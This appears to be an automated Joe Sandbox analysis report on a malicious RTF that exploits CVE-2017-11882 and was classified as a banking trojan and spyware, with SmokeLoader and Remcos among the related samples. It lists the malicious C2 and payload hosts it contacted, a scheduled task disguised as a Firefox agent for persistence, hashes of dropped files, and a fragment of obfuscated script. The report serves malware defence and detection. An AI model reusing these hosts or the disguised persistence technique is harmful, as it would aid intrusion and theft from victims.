https://contoso.com/	powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000007.00000002.365103207.0000000003519000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://23.94.148.16	powershell.exe, 00000007.00000002.363808831.0000000002749000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.piriform.com/ccleaner	explorer.exe, 0000000C.00000000.375066007.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003E98000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.630243639.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.375317134.0000000007967000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.629766627.000000000260E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.375066007.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374893412.000000000260E000.00000004.00000001.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://go.microsoft.c	powershell.exe, 00000007.00000002.363633576.00000000005BA000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3	explorer.exe, 0000000C.00000002.628664936.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://support.mozilla.org	explorer.exe, 0000000C.00000002.628664936.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000000.374687564.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://prolinice.ga/index.phpMozilla/5.0	explorer.exe, 00000013.00000002.432154791.0000000000394000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.419574794.000000000028E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.421675719.0000000000404000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.628871617.0000000000744000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.628530287.000000000028E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000002.628826534.00000000003C4000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.628600513.000000000033E000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000002.628599452.0000000000444000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.628577670.00000000003DE000.00000004.00000020.00020000.00000000.sdmp	true	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://ocsp.entrust.net0D	powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000005.00000002.368085766.00000000029D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.363808831.00000000024F1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://wehtwifahcxeheu.com/application/x-www-form-urlencodedMozilla/5.0	explorer.exe, 0000000C.00000002.630243639.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	false	URL Reputation: safe	unknown
https://ia803104.us.archive.org/27/items/vbs_20240LR	powershell.exe, 00000005.00000002.368085766.0000000002B22000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.entrust.net/2048ca.crl0	powershell.exe, 00000007.00000002.366421069.0000000004F03000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	explorer.exe, 00000013.00000003.425511981.00000000003DE000.00000004.00000020.00020000.00000000.sdmp, E2E3.tmp.19.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
207.241.232.154	ia803104.us.archive.org	United States	7941	INTERNET-ARCHIVEUS	true
23.94.148.16	unknown	United States	36352	AS-COLOCROSSINGUS	true
185.251.91.119	prolinice.ga	Russian Federation	35278	SPRINTHOSTRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502248
Start date and time:	2024-08-31 19:24:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	28
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.Exploit.CVE-2017-11882.123.12869.5405.rtf
Detection:	MAL
Classification:	mal100.bank.troj.spyw.expl.evad.winRTF@36/20@10/3
EGA Information:	Successful, ratio: 80%
HCA Information:	Successful, ratio: 98% Number of executed functions: 135 Number of non-executed functions: 95
Cookbook Comments:	Found application associated with file extension: .rtf Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3312 because there are no executed function
Execution Graph export aborted for target gwseuha, PID 4020 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3516 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:25:31	Task Scheduler	Run new task: Firefox Default Browser Agent E7F8FCB5C6098564 path: C:\Users\user\AppData\Roaming\gwseuha
13:24:58	API Interceptor	287x Sleep call for process: EQNEDT32.EXE modified
13:25:01	API Interceptor	77x Sleep call for process: powershell.exe modified
13:25:01	API Interceptor	7x Sleep call for process: wscript.exe modified
13:25:21	API Interceptor	119006x Sleep call for process: explorer.exe modified
13:25:32	API Interceptor	5x Sleep call for process: gwseuha modified
13:25:32	API Interceptor	208x Sleep call for process: taskeng.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
207.241.232.154	SecuriteInfo.com.Exploit.CVE-2017-11882.123.12262.2326.rtf	Get hash	malicious	Remcos	Browse
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse
	40830001.xls	Get hash	malicious	SmokeLoader	Browse
	inv-lista de embalaje de env#U00edo 08-29.xlam.xlsx	Get hash	malicious	AgentTesla	Browse
	RFQ_0030829024SEPT.xla.xlsx	Get hash	malicious	Remcos	Browse
	RFQ -PO-SMT290824.xls	Get hash	malicious	Remcos	Browse
	SI_56127.vbs	Get hash	malicious	Remcos	Browse
	CAN_POST2617276.vbs	Get hash	malicious	Remcos	Browse
	CAN_POST7865678.vbs	Get hash	malicious	AsyncRAT	Browse
23.94.148.16	40830001.xls	Get hash	malicious	SmokeLoader	Browse	23.94.148.16/90/WEFV.txt
185.251.91.119	40830001.xls	Get hash	malicious	SmokeLoader	Browse	prolinice.ga/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prolinice.ga	40830001.xls	Get hash	malicious	SmokeLoader	Browse	185.251.91.119
	#20240627_Edlen_B.xls	Get hash	malicious	SmokeLoader	Browse	77.232.129.190
	171687721070698e62c2170d003b444ecf0c5f6af81f98e26a56198e118930566be818fe52443.dat-decoded.exe	Get hash	malicious	SmokeLoader	Browse	77.232.129.190
	#20240627_Edlen_A.xls	Get hash	malicious	SmokeLoader	Browse	77.232.129.190
ia803104.us.archive.org	SecuriteInfo.com.Exploit.CVE-2017-11882.123.12262.2326.rtf	Get hash	malicious	Remcos	Browse	207.241.232.154
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	207.241.232.154
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	207.241.232.154
	40830001.xls	Get hash	malicious	SmokeLoader	Browse	207.241.232.154
	inv-lista de embalaje de env#U00edo 08-29.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	207.241.232.154
	RFQ_0030829024SEPT.xla.xlsx	Get hash	malicious	Remcos	Browse	207.241.232.154
	RFQ -PO-SMT290824.xls	Get hash	malicious	Remcos	Browse	207.241.232.154
	SI_56127.vbs	Get hash	malicious	Remcos	Browse	207.241.232.154
	CAN_POST2617276.vbs	Get hash	malicious	Remcos	Browse	207.241.232.154
	CAN_POST7865678.vbs	Get hash	malicious	AsyncRAT	Browse	207.241.232.154

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPRINTHOSTRU	40830001.xls	Get hash	malicious	SmokeLoader	Browse	185.251.91.119
	2ZJuaB7CQ4.exe	Get hash	malicious	DCRat	Browse	141.8.194.149
	5P9EdUgv5r.exe	Get hash	malicious	DCRat	Browse	141.8.194.149
	06wRHV3NYY.exe	Get hash	malicious	DCRat	Browse	141.8.192.103
	bfderfg.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	141.8.197.42
	YMtjYvZX2i.exe	Get hash	malicious	DCRat	Browse	141.8.197.42
	p7oBHwDt23.exe	Get hash	malicious	DCRat	Browse	141.8.197.42
	pxkGBmsm1Y.exe	Get hash	malicious	DCRat	Browse	141.8.193.236
	N7lmWFMEgx.exe	Get hash	malicious	DCRat	Browse	141.8.192.126
	X1BQ0d74HR.exe	Get hash	malicious	DCRat	Browse	141.8.197.42
INTERNET-ARCHIVEUS	SecuriteInfo.com.Exploit.CVE-2017-11882.123.12262.2326.rtf	Get hash	malicious	Remcos	Browse	207.241.232.154
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	207.241.232.154
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	207.241.232.154
	40830001.xls	Get hash	malicious	SmokeLoader	Browse	207.241.232.154
	INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js	Get hash	malicious	AgentTesla	Browse	207.241.227.86
	inv-lista de embalaje de env#U00edo 08-29.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	207.241.232.154
	Pedido9456_muestras_material_JC_INDUSTRIAL_DE_MEXICO SA de CV.js	Get hash	malicious	AgentTesla	Browse	207.241.227.86
	RFQ_0030829024SEPT.xla.xlsx	Get hash	malicious	Remcos	Browse	207.241.232.154
	RFQ -PO-SMT290824.xls	Get hash	malicious	Remcos	Browse	207.241.232.154
	SI_56127.vbs	Get hash	malicious	Remcos	Browse	207.241.232.154
AS-COLOCROSSINGUS	SecuriteInfo.com.Exploit.CVE-2017-11882.123.12262.2326.rtf	Get hash	malicious	Remcos	Browse	192.3.243.166
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	192.3.243.166
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	192.3.243.166
	40830001.xls	Get hash	malicious	SmokeLoader	Browse	23.94.148.16
	rAwGQLtWJr.exe	Get hash	malicious	Remcos	Browse	23.95.60.82
	inv-lista de embalaje de env#U00edo 08-29.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	107.175.229.146
	SALKI098765R400.exe	Get hash	malicious	Remcos	Browse	192.210.150.26
	RFQ_0030829024SEPT.xla.xlsx	Get hash	malicious	Remcos	Browse	198.46.178.181
	RFQ -PO-SMT290824.xls	Get hash	malicious	Remcos	Browse	192.3.140.102
	RFQ_0020829024SEPT.xla.xlsx	Get hash	malicious	Unknown	Browse	198.46.178.181

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	SecuriteInfo.com.Exploit.CVE-2017-11882.123.12262.2326.rtf	Get hash	malicious	Remcos	Browse	207.241.232.154
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	207.241.232.154
	Order enquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	207.241.232.154
	40830001.xls	Get hash	malicious	SmokeLoader	Browse	207.241.232.154
	inv-lista de embalaje de env#U00edo 08-29.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	207.241.232.154
	RFQ_0030829024SEPT.xla.xlsx	Get hash	malicious	Remcos	Browse	207.241.232.154
	RFQ -PO-SMT290824.xls	Get hash	malicious	Remcos	Browse	207.241.232.154
	RFQ_0020829024SEPT.xla.xlsx	Get hash	malicious	Unknown	Browse	207.241.232.154
	Sepco RFQ.xls	Get hash	malicious	Remcos	Browse	207.241.232.154
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.9070.28632.rtf	Get hash	malicious	Remcos	Browse	207.241.232.154

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\gwseuha	40830001.xls	Get hash	malicious	SmokeLoader	Browse
	capcut Setup-x64.msi	Get hash	malicious	RedLine	Browse
	7YZlAbfKMg.rtf	Get hash	malicious	AgentTesla	Browse
	Product Inquiry466789.xls	Get hash	malicious	AgentTesla	Browse
	A24-00342B139336 #TW_Inquiry.xls	Get hash	malicious	SmokeLoader	Browse
	LgTFM1JlJu.rtf	Get hash	malicious	AgentTesla	Browse
	#20240627_Edlen_B.xls	Get hash	malicious	SmokeLoader	Browse
	#20240627_Edlen_A.xls	Get hash	malicious	SmokeLoader	Browse
	Requirements.xla.xlsx	Get hash	malicious	AveMaria, UACMe	Browse
	vns.exe	Get hash	malicious	AsyncRAT, VenomRAT	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4760
Entropy (8bit):	4.834060479684549
Encrypted:	false
SSDEEP:	96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
MD5:	838C1F472806CF4BA2A9EC49C27C2847
SHA1:	D1C63579585C4740956B099697C74AD3E7C89751
SHA-256:	40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
SHA-512:	E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
Malicious:	false
Preview:	PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\verynicebuttersmoothcakeicream[1].tiff

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	183084
Entropy (8bit):	3.886576284833851
Encrypted:	false
SSDEEP:	3072:bYFoL2rQi6toiBDgt5p0Gwo9QjS7/DVRq9f1y9uuYaROM5e:0uqrh6BGqykae
MD5:	5AC26F4D93962796DB9CD2E19B32B200
SHA1:	9856C349AD2B408CDD23AA63A620F22FBDA87FA3
SHA-256:	E3E7A3D0BA55B8DBBE3633B1DAD0A3BBF4EADA72DD8DF3F7B1BC76A692862F23
SHA-512:	4C806A0A8FBA3FA9B24A0631D5A3E12F87E21AB3E45F44ECA8DE8C756F436B56E14D383A8B871BD5B5781624AC10E55F2FAD92DE02FA98E6FA53F57D6864B00A
Malicious:	false
Preview:	......a.O.L.h.K.f.L.q.J.U. .=. .".Z.n.f.L.W.m.C.c.G.n.".....U.z.p.u.L.N.N.f.K.k. .=. .".O.e.h.A.Q.W.U.x.L.L.".....L.c.g.O.G.K.m.K.c.L. .=. .".H.b.L.k.L.t.L.W.c.Q.".....v.c.U.s.f.l.Z.R.l.C. .=. .".m.L.u.b.S.T.k.K.W.h.".....k.O.G.G.J.A.l.U.e.f. .=. .".Z.R.f.K.z.W.L.Z.J.b.".....U.z.G.O.h.b.i.W.W.U. .=. .".Z.h.i.K.J.L.G.c.x.L.".....R.N.W.W.P.c.W.L.p.k. .=. .".i.n.L.c.R.a.L.O.R.T.".........L.J.R.H.p.W.O.L.i.A. .=. .".H.A.N.i.C.K.K.a.o.W.".....L.l.i.x.u.b.W.i.P.a. .=. .".e.C.P.x.b.Z.k.A.Q.c.".....c.a.W.i.l.m.i.U.Z.o. .=. .".P.O.b.f.c.P.W.t.m.W.".....p.b.n.Q.m.p.o.i.K.u. .=. .".Q.k.Z.A.v.l.I.x.c.J.".....P.q.i.G.N.O.k.W.u.S. .=. .".u.N.U.K.c.i.G.p.d.h.".....U.g.n.I.L.e.z.U.i.t. .=. .".I.W.G.c.L.u.h.W.H.k.".....o.a.k.C.e.o.A.L.z.i. .=. .".P.W.Z.Z.K.m.A.O.l.f.".....C.N.i.P.K.n.o.h.s.e. .=. .".N.G.U.q.L.d.i.z.G.W.".....P.c.K.P.T.W.k.e.Q.L. .=. .".s.h.N.H.b.z.k.W.T.W.".....L.N.G.L.t.A.H.i.d.G. .=. .".k.h.U.h.J.A.i.Z.P.W.".........P.c.Z.W.h.a.U.a.Q.s. .=. .".c.c.v.G.G.k.H.G.T.f.".....z.z.k.P.x.L.K.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{F9766609-433D-40CB-BCBF-A25F8E3EF4C7}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8B48071C-36AA-4577-B156-9C097946CDF9}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	3.5492038516464706
Encrypted:	false
SSDEEP:	192:W0hkLlVEaY2KaQP1fQERQprctBmUgXBRJZA/D2MuwsL0nxjywfUemlEDolBMBIQB:/kZylraQP1oIQprctBmRBPe97xjywfOS
MD5:	3764E4CA96AE27DAB8B915F3221C6858
SHA1:	739A5F9B07458720C95473CC5E67F7842DCDBF93
SHA-256:	82872288B166F2CE648028B559530201692E024EDAA1C40BD696364691DE86E3
SHA-512:	3886E03C7B29ECAA928763CA4311F84B1C483875F608E75DB0992AD9489242AECD203A09FA8DCA3F2C970D067D5DCC9726917A3A93DC1D22A7948B00B3C69D6C
Malicious:	false
Preview:	..............8.5.5.4.8.5.2.%.;..6.,.[.<.?.\|..;.@.9.?.(.?.(.8.0.?...!.$.'.@...@.\|..?.?.=.~.-.1.?.3.3.7.1..7.!.<._...4.#.-.,.9.(.?...).....~._.#.#.;.3.?.+...7.,.(.~.+.<.<.?.).).!.)...1.>.#._._.5.....<.:...9.'.^.~.2.=.0.5.8.%.].:.@.4.\|.+.3.1.)...^.;.?.?...8.%.=.=.9.[.+._.8..1.$.^.%.-.%.7.].@.?.-...5.;.+.&.(.$.~.?.=.%.,.<.5.7.9.;.?.`.].@.1.3.>.3.;.(.6.:.$.1.).`.2..?.6.@.\|.<.!.[.9.7.2.+.!.:.1.`.?.2.<.+.4./.~.4.;.4...(...9.&.>.^.].&.?.5.2.0.^.?./.(.4...`...%...'.%.;.3...?.0.<.6.@.^.5.>.%.5.\|.;.,...8.?..5.2..&.>.$.?._.8.$..._.1.>.,.^.\|.).)...6.`.<.~.?.@.'.>.?.%.~.?.?.>.8.<.?.2.4.3.>.9.-.\|.`...?.$..9.6.6.^.'.3.+.;.-.'.5....+.=.+.<...4.&.8.0.8.?.7.:.\|.1...0...9.1.!.6.2.^.8..2.[.].?.<.#.:...&.:.2...>.%.%.5.-.8.?.?.%.!.%.5...).+.?.3.(.9.?...5.[.~.2.'.`.?.].8.8.?.>.?.&.8.+.[.2.'..\|.?.4.^./.>.?.=.>.3.[.&.%.!.\|._.../.9.[.;.'...#.?.\|.`.+.?.@.%.6.0.6.=.#.).4.^.?./.`.~.9.~.,.#.1.@.=.$.$.<.&.?...@...$.?.5.%.'.1.*.[.7.,.4.7.2.?.2.!.9...+.^.@.0.!.?.,.>.7.3.2.4.+.<.^.3.$...$.^.8.9.%...,.?.#.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FBE20470-930D-4657-894E-45CE94F633FB}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2q5zle4o.la4.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\D894.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 3, database pages 20, cookie 0x15, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.7798653713156546
Encrypted:	false
SSDEEP:	48:L3k+YzHF/8LKBwUf9KfWfkMUEilGc7xBM6vu3f+fmyJqhU:LSe7mlcwilGc7Ha3f+u
MD5:	CD5ACB5FAA79EEB4CDB481C6939EEC15
SHA1:	527F3091889C553B87B6BC0180E903E2931CCCFE
SHA-256:	D86AE09AC801C92AF3F2A18515F0C6ACBFA162671A7925405590CA4959B51E96
SHA-512:	A79C4D7F592A9E8CC983878B02C0B89DECB77D71F9451C0A5AE3F1E898C42081693C350E0BE0BA52342D51D6A3E198E0E87340AC5E268921623B088113A70D5D
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E14C.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3008001, file counter 24, database pages 5, cookie 0xf, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	1.3870145383915669
Encrypted:	false
SSDEEP:	48:TBLOpEO5J/Kd7UEvqckQaKgj5EZwx1wayEgd7kKK9LeYyBlIAO/tXK:hNw0CKaKfu1wai6LeYzN/9K
MD5:	1623709C6B2FB813984B1265C26A85F1
SHA1:	CCE4DDBE93E97E68359CB6FD71242F796A785F86
SHA-256:	88BCF762A75F085ECD3B12EB2BA81B81A7F8C9CDDDD4DED624BA28566EB7EEAA
SHA-512:	6D2E23E4E0D1D912AF3426129F7DE490F23326F6179EEC27AFE28C438CA37493AEA775E62755C76D6A8850DB6D6E70F0D0A8D396A35E869F4BF0F761CDD507D8
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................-........#..k...#.<....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E2E3.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3032001, page size 2048, file counter 10, database pages 37, cookie 0x2f, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	77824
Entropy (8bit):	1.133993246026424
Encrypted:	false
SSDEEP:	96:LSGKaEdUDHN3ZMesTyWTJe7uKfeWb3d738Hsa/NlSGIdEd01YLvqAogv5KzzUG+S:uG8mZMDTJQb3OCaM0f6kL1Vumi
MD5:	8BB4851AE9495C7F93B4D8A6566E64DB
SHA1:	B16C29E9DBBC1E1FE5279D593811E9E317D26AF7
SHA-256:	143AD87B1104F156950A14481112E79682AAD645687DF5E8C9232F4B2786D790
SHA-512:	DDFD8A6243C2FC5EE7DAE2EAE8D6EA9A51268382730FA3D409A86165AB41386B0E13E4C2F2AC5556C9748E4A160D19B480D7B0EA23BA0671F921CB9E07637149
Malicious:	false
Preview:	SQLite format 3......@ .......%.........../......................................................C.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\a0du0j0l.jnw.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\vbm1w30w.xtu.ps1

Download File

